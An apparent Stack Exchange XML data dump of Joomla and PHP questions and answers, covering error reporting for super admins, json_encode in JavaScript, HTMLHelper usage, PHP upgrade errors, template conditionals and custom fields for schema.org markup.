  <row Id="24760" PostTypeId="1" AcceptedAnswerId="24764" CreationDate="2019-05-30T16:53:53.457" Score="0" ViewCount="183" Body="&lt;p&gt;Is there a way to show &lt;strong&gt;PHP error messages only&lt;/strong&gt; to a &lt;strong&gt;Super Admin&lt;/strong&gt;?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are PHP error messages called or generated? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know in &lt;strong&gt;System Configuration&lt;/strong&gt; we can set the level e.g. developer or none, would there be a way to wrap that in a PHP statement to only output it if they are Super Admin?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-05-30T23:17:55.180" LastActivityDate="2019-05-30T23:30:39.623" Title="Only show PHP error messages to Super Admin" Tags="|error-handling|error-reporting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24761" PostTypeId="1" AcceptedAnswerId="24762" CreationDate="2019-05-30T18:12:52.343" Score="1" ViewCount="72" Body="&lt;p&gt;I'm trying to pass a php array to javascript, but the array has non-sequential keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a portion of the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [1812] =&amp;gt; Array&#xA;        (&#xA;            [RecID] =&amp;gt; 1&#xA;            [team_num] =&amp;gt; 20&#xA;            [player_id] =&amp;gt; 1812&#xA;            [name] =&amp;gt; Brady, Tom&#xA;            [id] =&amp;gt; 1812&#xA;            [tm_abbr] =&amp;gt; NE&#xA;            [tm_id] =&amp;gt; 9003&#xA;            [pos] =&amp;gt; QB&#xA;            [active] =&amp;gt; 1&#xA;            [ListOrder] =&amp;gt; 1&#xA;            [lg_pos] =&amp;gt; QB&#xA;            [NFL_pos] =&amp;gt; QB&#xA;            [data_type] =&amp;gt; off&#xA;            [fa_sort_category] =&amp;gt; 1&#xA;            [lineup_elig_pos] =&amp;gt; Array&#xA;                (&#xA;                    [1] =&amp;gt; RB1&#xA;                    [2] =&amp;gt; RB2&#xA;                    [3] =&amp;gt; R1&#xA;                    [4] =&amp;gt; R2&#xA;                    [5] =&amp;gt; R3&#xA;                )&#xA;&#xA;        )&#xA;&#xA;    [15574] =&amp;gt; Array&#xA;        (&#xA;            [RecID] =&amp;gt; 1&#xA;            [team_num] =&amp;gt; 20&#xA;            [player_id] =&amp;gt; 15574&#xA;            [name] =&amp;gt; Goff, Jared&#xA;            [id] =&amp;gt; 15574&#xA;            [tm_abbr] =&amp;gt; LAR&#xA;            [tm_id] =&amp;gt; 9025&#xA;            [pos] =&amp;gt; QB&#xA;            [active] =&amp;gt; 1&#xA;            [ListOrder] =&amp;gt; 1&#xA;            [lg_pos] =&amp;gt; QB&#xA;            [NFL_pos] =&amp;gt; QB&#xA;            [data_type] =&amp;gt; off&#xA;            [fa_sort_category] =&amp;gt; 1&#xA;            [lineup_elig_pos] =&amp;gt; Array&#xA;                (&#xA;                    [1] =&amp;gt; RB1&#xA;                    [2] =&amp;gt; RB2&#xA;                    [3] =&amp;gt; R1&#xA;                    [4] =&amp;gt; R2&#xA;                    [5] =&amp;gt; R3&#xA;                )&#xA;&#xA;        )&#xA;&#xA;    [16381] =&amp;gt; Array&#xA;        (&#xA;            [RecID] =&amp;gt; 1&#xA;            [team_num] =&amp;gt; 20&#xA;            [player_id] =&amp;gt; 16381&#xA;            [name] =&amp;gt; Jackson, Lamar&#xA;            [id] =&amp;gt; 16381&#xA;            [tm_abbr] =&amp;gt; BAL&#xA;            [tm_id] =&amp;gt; 9030&#xA;            [pos] =&amp;gt; QB&#xA;            [active] =&amp;gt; 1&#xA;            [ListOrder] =&amp;gt; 1&#xA;            [lg_pos] =&amp;gt; QB&#xA;            [NFL_pos] =&amp;gt; QB&#xA;            [data_type] =&amp;gt; off&#xA;            [fa_sort_category] =&amp;gt; 1&#xA;            [lineup_elig_pos] =&amp;gt; Array&#xA;                (&#xA;                    [1] =&amp;gt; RB1&#xA;                    [2] =&amp;gt; RB2&#xA;                    [3] =&amp;gt; R1&#xA;                    [4] =&amp;gt; R2&#xA;                    [5] =&amp;gt; R3&#xA;                )&#xA;&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var roster = {};&#xA;roster = &quot;&amp;lt;?php echo json_encode($roster, true); ?&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get an error &quot;Uncaught SyntaxError: Unexpected number&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is important to match the player id so I can reference it later in the code easily.&lt;/p&gt;&#xA;" OwnerUserId="3594" LastActivityDate="2019-05-30T18:53:38.997" Title="How to pass a php array to javascript array/object with non-sequential keys" Tags="|php|javascript|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24762" PostTypeId="2" ParentId="24761" CreationDate="2019-05-30T18:53:38.997" Score="1" Body="&lt;p&gt;Don't wrap JSON-encoded values in quotes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var roster = &amp;lt;?php echo json_encode($roster, true); ?&amp;gt;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-30T18:53:38.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24763" PostTypeId="2" ParentId="24760" CreationDate="2019-05-30T23:14:57.413" Score="0" Body="&lt;p&gt;This should help you, &lt;a href=&quot;https://extensions.joomla.org/blog/item/debug-system/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/blog/item/debug-system/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in case the link no longer works in the future, the solution requires you to go into the Plugin Syste - Debug and change the access level to 'Super User' and then turn on Debug is Gloal Configuration.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-05-30T23:17:51.723" LastActivityDate="2019-05-30T23:17:51.723" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24764" PostTypeId="2" ParentId="24760" CreationDate="2019-05-30T23:30:39.623" Score="3" Body="&lt;p&gt;There is a current extension in the JED that says it allows you to output to specific levels. &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/miscellaneous/development/easy-error-reporting/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/miscellaneous/development/easy-error-reporting/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free to download so even if you don't use it you could have a look under the covers as to how they have achieved it.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-05-30T23:30:39.623" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24765" PostTypeId="2" ParentId="24745" CreationDate="2019-05-30T23:54:14.210" Score="1" Body="&lt;p&gt;It would be very difficult but it could be done if you wanted to write enough code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The values for each setting are stored in the &lt;strong&gt;params&lt;/strong&gt; field for each instance of the module in the &lt;strong&gt;#__modules&lt;/strong&gt; table. As it is possible to have more than one instance of a  module your code would need to handle this to make sure you are updating the right module or all of them if that is your requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Converting it to a radio check button is easy enough, just change to that type in the .xml file of of your other Module.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-05-30T23:54:14.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24766" PostTypeId="1" CreationDate="2019-05-31T18:25:19.360" Score="0" ViewCount="21" Body="&lt;p&gt;Is there a way to make the individual article options settings take priority over the Menu or Global options settings? I have found that it makes no difference what the individual article options are set to - the Global and Menu options determine what article information is shown (This is not true for the Mainmenu -&gt; Home menu - that has an option to &quot;Use Article Settings&quot; and then the Article options take priority, but no other Menu has that option).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a simple thing - the individual Article settings should always take priority, but it doesn't seem to be the case. Is there some way to change / fix that? I'm working with Joomla 3.9.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all...&lt;/p&gt;&#xA;" OwnerUserId="13486" LastActivityDate="2019-05-31T18:25:19.360" Title="Article Settings Priority (again...)" Tags="|articles|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24767" PostTypeId="1" AcceptedAnswerId="24768" CreationDate="2019-06-01T12:27:48.077" Score="3" ViewCount="1863" Body="&lt;p&gt;In this post: &lt;a href=&quot;https://joomla.stackexchange.com/questions/24057/how-to-add-css-js-an-image-to-a-module-backend/24058?noredirect=1#comment32059_24058&quot;&gt;How to add CSS/JS/an Image to a module backend&lt;/a&gt; @lodder shows me how to use &lt;code&gt;HTMLHelper&lt;/code&gt; to add &lt;code&gt;CSS&lt;/code&gt; and &lt;code&gt;JavaScript&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously I had followed the Joomla! documentation &lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_JavaScript&lt;/a&gt; which suggests using &lt;code&gt;addScript()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example by Lodder he is using a &lt;code&gt;form field&lt;/code&gt; and then is using &lt;code&gt;getInput&lt;/code&gt; so I wondered if that makes a difference.  I'm keen to learn the right way to do things moving forwards and I know &lt;strong&gt;namespacing&lt;/strong&gt; is what I should be using as a good habit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is instead of using &lt;code&gt;JHhtml&lt;/code&gt; for things like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHtml::script('jui/jquery.min.js', false, true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to load jQuery first, can I now do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HTMLHelper::_('script', 'jui/jquery.min.js', false, true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And secondly, instead of adding to the document head like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScript($mediaUrl . '/js/' . $moduleName . &quot;.js&quot;,&#xA;  &quot;text/javascript&quot;, true, false, array('version' =&amp;gt; 'auto'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I do it like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;HTMLHelper::_('script', 'jui/jquery.min.js', false, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-02-12T10:10:51.793" Title="How to use HTMLHelper to add to the document head" Tags="|javascript|custom-component|custom-module|jinput|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24768" PostTypeId="2" ParentId="24767" CreationDate="2019-06-01T14:59:56.053" Score="5" Body="&lt;p&gt;1) &lt;code&gt;JHtml&lt;/code&gt; is an alias for &lt;code&gt;Joomla\CMS\HTML\HTMLHelper&lt;/code&gt; class. You'll have to start using the real class sooner or later because the alias will not exist in Joomla! 5.0. To use the real class you have to either import it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;HTMLHelper::doSomething();&#xA;HTMLHelper::doSomethingElse();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use fully qualified class name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\Joomla\CMS\HTML\HTMLHelper::doSomething();&#xA;\Joomla\CMS\HTML\HTMLHelper::doSomethingElse();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) No, that doesn't work. The document object does not have property called &lt;code&gt;HTMLHelper&lt;/code&gt;. Use one of the methods shown above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, you can use &lt;code&gt;HTMLHelper::_('jquery.framework')&lt;/code&gt; to add core jQuery.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-06-01T14:59:56.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24769" PostTypeId="1" AcceptedAnswerId="25155" CreationDate="2019-06-01T15:56:22.213" Score="0" ViewCount="1253" Body="&lt;p&gt;Trying to update PHP from 7.1.27 to 7.3.3 and can't seem to. Set error reporting to max and after awhile of loading these are the errors I get on top of a white screen (admin also gone)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: mysqli_errno() expects parameter 1 to be mysqli, bool given&#xA;in [host]/libraries/joomla/database/driver/mysqli.php on line 992&lt;/p&gt;&#xA;&lt;p&gt;Warning: mysqli_error() expects parameter 1 to be mysqli, bool given&#xA;in [host]/libraries/joomla/database/driver/mysqli.php on line 1004&lt;/p&gt;&#xA;&lt;p&gt;Error: Call to a member function getActive() on null:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It does the same on 7.2 update. I've contacted the host to see if it's related to the core or their set up and they tell me it has to be a third party extension, but I cannot find any reference to or clue to lead me to which extension is causing problems. I have another site that is pretty much running the same stuff and it updated just fine.&lt;/p&gt;&#xA;&lt;p&gt;Checking every log I can think of and cleaning up the deprecated messages nothing helps. The first 2 warnings appear over and over in the error logs. Searches are turning up absolutely nothing.&lt;/p&gt;&#xA;&lt;p&gt;Has anyone ever ran across this or know what may be causing it?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Don't have many extensions installed, but disabled them one by one and no luck. Managed to get a new error by turning off max reporting and checking host error logs.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[Sun Jun 02 12:33:57 2019] [warn] [client [ipredacted]] mod_fcgid:&#xA;error reading data from FastCGI server [Sun Jun 02 12:33:57 2019]&#xA;[error] [client [ipredacted]] Premature end of script headers:&#xA;index.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Don't know if anyone can tell anything from the site itself, but the previous url has changed, new url is&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://cdxx-us.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cdxx-us.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This can be edited out if desired. Host is CloudAccess.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tried again 6/14/19&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: mysqli_errno() expects parameter 1 to be mysqli, bool given&#xA;in [host]/libraries/joomla/database/driver/mysqli.php on line 992&lt;/p&gt;&#xA;&lt;p&gt;Warning: mysqli_error() expects parameter 1 to be mysqli, bool given&#xA;in [host]/libraries/joomla/database/driver/mysqli.php on line 1004&#xA;Error: Call to a member function getActive() on null: Warning:&#xA;session_write_close(): Failed to write session data using user defined&#xA;save handler. (session.save_path: /tmp) in&#xA;[host]/libraries/joomla/session/handler/native.php on line 194&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;J!3.9.6 -&amp;gt; updated 3.9.8&lt;/p&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-09-09T16:24:54.650" Title="Error trying to update above PHP 7.1.27" Tags="|php|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24771" PostTypeId="1" CreationDate="2019-06-01T20:48:38.717" Score="0" ViewCount="76" Body="&lt;p&gt;I am customising a Joomla module (Override) and it does not seem to accommodate if an image is not selected (just shows a broken image symbol).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is check if there is an image and if not, assign a placeholder image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;sp-portfolio-thumb&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $item-&amp;gt;image; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;sp-portfolio-overlay&quot;&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;!--&amp;lt;a class=&quot;sp-portfolio-preview&quot; rel=&quot;lightbox&quot; title=&quot;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;image_full; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo JText::_('PREVIEW'); ?&amp;gt;&amp;lt;/a&amp;gt;--&amp;gt;&#xA;            &amp;lt;?php if($show_readmore){ ?&amp;gt;&#xA;                &amp;lt;a class=&quot;sp-portfolio-link&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;urls-&amp;gt;urla; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo JText::_('MORE_DETAILS'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried playing about with the part of the code relating to the image, but I'm clearly not very proficient in php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($item-&amp;gt;image){ ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $item-&amp;gt;image; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php else ?&amp;gt;&#xA;    &amp;lt;img class=&quot;test&quot; src=&quot;images/placeholder.jpg&quot;&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 - syntax error, unexpected 'else' (T_ELSE)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can any one point me in the right direction with this?&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="126" LastEditDate="2019-06-02T08:19:32.403" LastActivityDate="2019-06-13T19:04:50.210" Title="(Module override/PHP) Checking if a content-item has an image otherwise display a placeholder" Tags="|php|module|overrides|conditional-statements|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24772" PostTypeId="2" ParentId="24771" CreationDate="2019-06-01T21:40:32.720" Score="2" Body="&lt;p&gt;Your are missing brackets around &lt;code&gt;else&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($item-&amp;gt;image) { ?&amp;gt;&#xA;...&#xA;    &amp;lt;?php } else { ?&amp;gt;&#xA;...&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also give alternative syntax a try, see if it's more readable to you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($item-&amp;gt;image) : ?&amp;gt;&#xA;...&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;...&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-06-01T21:40:32.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24773" PostTypeId="2" ParentId="24771" CreationDate="2019-06-02T07:13:04.687" Score="1" Body="&lt;p&gt;Another idea is to initialize an &lt;code&gt;$image&lt;/code&gt; variable earlier in your script like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = $item-&amp;gt;image ? $item-&amp;gt;image : 'images/placeholder.jpg';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$image&lt;/code&gt; will get the value of the &lt;code&gt;$item-&amp;gt;image&lt;/code&gt; if it's set, or the placeholder file path you set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you use the &lt;code&gt;$image&lt;/code&gt; variable in place of the &lt;code&gt;$item-&amp;gt;image&lt;/code&gt; in your script. *You won't need the conditional test anymore, as the $image will always have a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this part will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $image; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2019-06-09T06:12:15.980" LastActivityDate="2019-06-09T06:12:15.980" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24774" PostTypeId="1" CreationDate="2019-06-02T07:46:39.500" Score="1" ViewCount="327" Body="&lt;p&gt;I'm trying to convert a delete query with left join to use JDatabaseQuery, but I am encountering an issue in the query. The query that I'm trying to convert and which works is the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(&quot;DELETE u FROM #__mycomponent_users AS u&#xA;               LEFT JOIN #__users AS ju ON u.userid=ju.id&#xA;               WHERE ju.username IS NULL&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have converted it to JDatabaseQuery, with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;getQuery(true)&#xA;   -&amp;gt;delete($db-&amp;gt;quoteName('#__mycomponent_users', 'u'))&#xA;   -&amp;gt;leftJoin($db-&amp;gt;quoteName('#__users', 'ju') . ' ON u.userid=ju.id')&#xA;   -&amp;gt;where('ju.username IS NULL');&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this, it returns the following error : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Syntax error near 'AS &lt;code&gt;u&lt;/code&gt; LEFT JOIN &lt;code&gt;jt5il_users&lt;/code&gt; AS &lt;code&gt;ju&lt;/code&gt; ON u.userid=ju.id WHERE ju.username IS NUL' &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So how can I make this query work by using JDatabaseQuery?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2019-07-07T12:16:35.263" LastActivityDate="2021-07-20T02:04:50.350" Title="Delete query and left join with JDatabaseQuery doesn't work" Tags="|mysql|jdatabase|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24775" PostTypeId="2" ParentId="24684" CreationDate="2019-06-02T09:16:20.367" Score="2" Body="&lt;p&gt;Here is my solution:&lt;br&gt;&#xA;At first: remove meta and link from the source code is &lt;strong&gt;not part&lt;/strong&gt; of the joomla filter. it is part of the core. So modify the core is not a solution about problem with later updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: the third part component sourcer can work but it is a third part solution out of my control for validation and verification. And every additional component needs performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I’m looking for a solution which joomla brings out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I used custom fields with a layout override.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a sample what and why I want to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;figure  itemprop=&quot;image&quot; itemscope itemtype=&quot;https://schema.org/ImageObject&quot;&amp;gt;&#xA;&amp;lt;meta itemprop=&quot;representativeOfPage&quot; content=&quot;true&quot;&amp;gt;&#xA;&amp;lt;link itemprop=&quot;url&quot; href=&quot;https://www.usa-reisetipps.net/images/bilder/ein-ausreise/visum-esta-16x9.jpg&quot;&amp;gt;&#xA;&amp;lt;link itemprop=&quot;url&quot; href=&quot;https://www.usa-reisetipps.net/images/bilder/ein-ausreise/visum-esta-4x3.jpg&quot;&amp;gt;&#xA;&amp;lt;link itemprop=&quot;url&quot; href=&quot;https://www.usa-reisetipps.net/images/bilder/ein-ausreise/visum-esta-1x1.jpg&quot;&amp;gt;&#xA;&amp;lt;link itemprop=&quot;url&quot; href=&quot;https://www.usa-reisetipps.net/images/bilder/ein-ausreise/visum-esta.jpg&quot;&amp;gt;&#xA;&amp;lt;amp-img src=&quot;/images/bilder/ein-ausreise/visum-esta.jpg&quot; width=&quot;750&quot; height=&quot;423&quot; layout=&quot;responsive&quot; srcset=&quot;/images/bilder/ein-ausreise/visum-esta.jpg 750w, /images/bilder/ein-ausreise/visum-esta-768.jpg 558w, /images/bilder/ein-ausreise/visum-esta-480.jpg 413w&quot; alt=&quot;alt text&quot;&amp;gt;&amp;lt;/amp-img&amp;gt;  &#xA;&amp;lt;figcaption itemprop=&quot;description caption&quot;&amp;gt;Caption text.&amp;lt;/figcaption&amp;gt;&#xA;&amp;lt;/figure&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are the steps:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a own layout for fields (meta): &#xA;&lt;a href=&quot;https://i.stack.imgur.com/l3unw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l3unw.jpg&quot; alt=&quot;create a override for fields layout&quot;&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this file I change the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo htmlentities($value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to print the meta and not a html version&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I create a custom filed with text (one line add) or textarea (bigger source code)  for the snippet:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BgnKX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BgnKX.jpg&quot; alt=&quot;create a custom filed as text or textarea&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Important the field shall have:&lt;br&gt;&#xA;filter: unfiltered and the selected layout&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9WaAj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9WaAj.jpg&quot; alt=&quot;select no filter for the field input&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gVhOB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gVhOB.jpg&quot; alt=&quot;select the verride in this case meta&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add my meta and links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vFLZ5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vFLZ5.jpg&quot; alt=&quot;fill the fields with my meta or links tag&quot;&gt;&lt;/a&gt;&#xA;I added the field to the article with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field 2}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2019-06-02T09:16:20.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
